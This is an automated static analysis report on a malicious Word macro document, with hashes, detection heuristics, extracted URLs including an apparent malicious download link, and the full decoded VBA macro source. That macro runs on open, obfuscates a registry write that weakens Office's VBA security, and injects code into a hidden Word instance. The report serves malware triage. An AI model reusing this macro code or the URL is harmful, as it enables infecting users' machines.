Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 bf8a95c69ec5c46e…

MALICIOUS

Office (OOXML)

169.1 KB Created: 2021-04-28 05:20:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-04
MD5: 228c6f085a721edfe2584fdc93810a8e SHA-1: 75e0aeb55cb3d0456777f9d61703a6d194ce0373 SHA-256: bf8a95c69ec5c46e3937283cd3e145a5e588e99c5850a7f243d8a2ec75f529e3
132 Risk Score

Heuristics 6

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    collectionWLib.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString selectGenericMem
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set mainViewLoad = CreateObject("msxml2.domdocument")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://2003-ortega-coin.com/bijol/g6ErKfZNTzQ0Nh4135ZjKe/tqR7lSY4VjbalWjo9uIctbfzUJdYwmvnVMqfddQyYn/iv1QNhYgxXN08fOwFmTMK0mgsq5VoknfDW6bN/dYCIjJDMVceF3W7G84wHaba2Amfyob/2M91uIU8d6YOcw6nT4uGhlR4OrrotW/laka12?user=yo In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2922 bytes
SHA-256: d7649276381766edd43de68a63f919912d9e13a76f84aa2b9688fc2effe86c08
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{6E18EBA7-9D19-46E4-868F-600ECA1D80D6}{2B53A903-1D2F-4A41-AEBA-675E4B530564}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "titleClass"
Sub autoopen()
buttonCopy
Dim genericTableReference As String
genericTableReference = counterOption
requestStorageArgument genericTableReference
End Sub

Attribute VB_Name = "WCounter"
Function procedureStorageSwap(libEx As String) As Variant
Dim mainViewLoad As Object
Dim captionNamespaceClass As Object
Set mainViewLoad = CreateObject("msxml2.domdocument")
Set captionNamespaceClass = mainViewLoad.createElement("code")
captionNamespaceClass.DataType = "bin.base64"
captionNamespaceClass.Text = libEx
procedureStorageSwap = captionNamespaceClass.nodeTypedValue
End Function
Function rightVarClear(listConst, deleteStructVar)
rightVarClear = StrConv(listConst, deleteStructVar)
End Function

Attribute VB_Name = "lenBuffer"
Sub requestStorageArgument(selectGenericMem As String)
Set lenLen = CreateObject("word.application")
Set collectionWLib = lenLen.Documents.Add
collectionWLib.VBProject.VBComponents("ThisDocument").CodeModule.AddFromString selectGenericMem
lenLen.Visible = False
lenLen.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "argumentDataDatabase"
Function counterEx() As String
counterEx = Application.Version
End Function
Function indexPointerStorage()
indexPointerStorage = "U5UX1VTRVJcU29mdHdhcmVcTWlj"
End Function
Function textLocalNamespace()
textLocalNamespace = "cript.sh"
End Function
Function funcTextPointer()
funcTextPointer = "VjdXJpdHlcQWN"
End Function
Sub buttonCopy()
variableMemory = rightVarClear(procedureStorageSwap("SEtFWV9DVVJSR" & indexPointerStorage & "cm9zb2Z0XE9mZmljZVw="), vbUnicode)
trustDelete = counterEx
responseCopyLocal = rightVarClear(procedureStorageSwap("XFdvcmRcU2" & funcTextPointer & "jZXNzVkJPTQ=="), vbUnicode)
argumentClear = variableMemory & trustDelete & responseCopyLocal
With CreateObject("ws" & textLocalNamespace & "ell")
.RegWrite argumentClear, 1, "REG_DWORD"
End With
End Sub
Public Function structTitle(ByVal tableTable As String) As String
For ExTmp = 1 To Len(tableTable) Step 2
lenCollectionVb = Chr$(Val("&H" & Mid$(tableTable, ExTmp, 2)))
globalMemW = globalMemW & lenCollectionVb
Next ExTmp
structTitle = globalMemW
End Function
Function counterOption()
counterOption = UserForm1.TextBox1
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 27648 bytes
SHA-256: a23f523bf21ce2a6b9b7da231f5b4bcfbcd27f3daf99c7862d1eb536aa437707
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).